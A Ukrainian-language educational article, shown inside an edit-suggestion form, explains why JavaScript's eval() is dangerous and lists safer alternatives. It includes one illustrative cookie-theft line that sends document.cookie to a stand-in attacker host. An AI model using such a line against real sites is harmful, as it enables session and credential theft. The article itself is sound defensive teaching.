Запропонувати правкуПокращити цю статтюДопрацюйте відповідь до «Чому eval() небезпечний?». Ваші зміни проходять модерацію перед публікацією.Потрібне підтвердженняКонтентЩо ви змінюєте🇺🇸EN🇺🇦UAПереглядЗаголовок (UA)Коротка відповідь (UA)**`eval(code)`** приймає рядок JavaScript-коду і виконує його як звичайний JS-код під час виконання програми. **Ключове:** це небезпечно, бо `eval()` виконує довільний код, і будь-який зловмисник, який зможе підставити туди свій рядок, може виконати будь-які команди від імені твого застосунку.Показується над повною відповіддю для швидкого нагадування.Відповідь (UA)Зображення## Що робить `eval()` Функція `eval(code)` приймає рядок JavaScript-коду і **виконує його як звичайний JS-код під час виконання програми**. ```javascript eval("console.log('Привіт, світе!')"); ``` Це буквально "міні-інтерпретатор JavaScript всередині JavaScript". ## Чому це небезпечно Проблема в тому, що `eval()` **виконує довільний код**, і **будь-який зловмисник**, який зможе підставити туди свій рядок, може **виконати будь-які команди** від імені твого застосунку. ## 1. Вразливість для XSS / Remote Code Execution Якщо в `eval()` потрапляє **введення користувача**, це катастрофа: ```javascript const userInput = prompt("Введіть щось:"); eval(userInput); ``` Користувач вводить: ```javascript alert('Зламано!'); ``` І код виконається. А в найгіршому випадку: ```javascript fetch('https://attacker.com/steal?cookies=' + document.cookie) ``` Зловмисник отримує кукі користувача і токен авторизації. Це називається **XSS (Cross-Site Scripting)** або **Remote Code Execution**. ## 2. Порушення ізоляції безпеки `eval()` виконується **в поточному контексті**, тобто має доступ **до всіх змінних і функцій** твого скрипту: ```javascript const secret = 'myToken123'; eval('console.log(secret)'); // виведе секрет ``` Якщо хтось впровадить свій код, він отримає повний доступ до внутрішнього стану застосунку. ## 3. Втрата оптимізації продуктивності Сучасні JS-рушії (V8, SpiderMonkey, JavaScriptCore) роблять **сильну оптимізацію коду під час компіляції**. Але якщо ти використовуєш `eval()`, рушій не може передбачити, який код буде виконано → доводиться **вимикати оптимізацію**. Результат: - код працює повільніше; - garbage collector втручається частіше; - inline і JIT-оптимізація вимикається. ## 4. Неочевидна поведінка з областю видимості `eval()` виконується **в поточній області видимості** (при прямому виклику): ```javascript let x = 1; eval('x = 10'); console.log(x); // 10 ``` Але якщо викликати непрямо (`(0, eval)(...)`), він працює в **глобальній області**: ```javascript let x = 1; (0, eval)('x = 10'); console.log(x); // 1 console.log(window.x); // 10 ``` Це робить код **непередбачуваним** і складним для налагодження. ## 5. Безпечніші і швидші альтернативи Часто `eval()` намагаються використовувати, щоб: - виконати JSON-парсинг (`eval(jsonStr)`); - викликати функцію за ім'ям; - обчислити вираз із рядка. Але всі ці задачі вирішуються **безпечними аналогами**: | Задача | Безпечна альтернатива | | --- | --- | | Розбір JSON | `JSON.parse(str)` | | Виклик функції за ім'ям | `obj[funcName]()` | | Динамічна логіка | `Map` або `switch` | | Шаблони | `Function()` або `template literals` (рядки з підстановкою) | | Мат. вирази | Парсер (`math.js`, `expr-eval`) | ## 6. Конструктор `Function` теж небезпечний Іноді думають, що `new Function()` - безпечніший. Але він **теж виконує рядок як код**: ```javascript const sum = new Function('a', 'b', 'return a + b'); console.log(sum(2, 3)); // 5 ``` Він працює, але якщо туди потраплять дані від користувача, ризик такий самий, як і з `eval()`. ## 7. Не можна використовувати в строгій CSP (Content Security Policy) Сучасні сайти часто використовують **CSP** - політику безпеки, яка забороняє inline-скрипти і `eval()`. Якщо в HTTP-заголовках вказано: ```javascript Content-Security-Policy: script-src 'self' ``` то при спробі викликати `eval()` браузер просто викине помилку: ```javascript Refused to evaluate a string as JavaScript because 'unsafe-eval' is not allowed ``` ## Приклад: безпечна альтернатива `eval()` Погано: ```javascript function runExpression(expr) { return eval(expr); } runExpression('2 + 3 * 4'); ``` Добре: ```javascript function safeEval(expr) { const allowed = /^[0-9+\-*/().\s]+$/; if (!allowed.test(expr)) throw new Error('Неприпустимі символи'); return Function(`"use strict"; return (${expr})`)(); } console.log(safeEval('2 + 3 * 4')); // 14 ``` Тут вираз попередньо перевіряється на допустимі символи. ## Підсумок | Проблема | Чому небезпечно | | --- | --- | | Вразливість для XSS | Виконує довільний код | | Порушує ізоляцію | Доступ до всіх змінних | | Повільно | Вимикає оптимізацію JS-рушія | | Непередбачувано | Різна область видимості | | Несумісно з CSP | Заборонено на безпечних сайтах | **Головна ідея:** > `eval()` перетворює дані на код, > а отже, будь-яка помилка або зовнішнє втручання = повний контроль над застосунком. > **Ніколи не використовуй** `eval()` **на даних, яким не можна довіряти.**Для рев’юераПримітка для модератора (необов’язково)Бачить лише модератор. Прискорює рев’ю.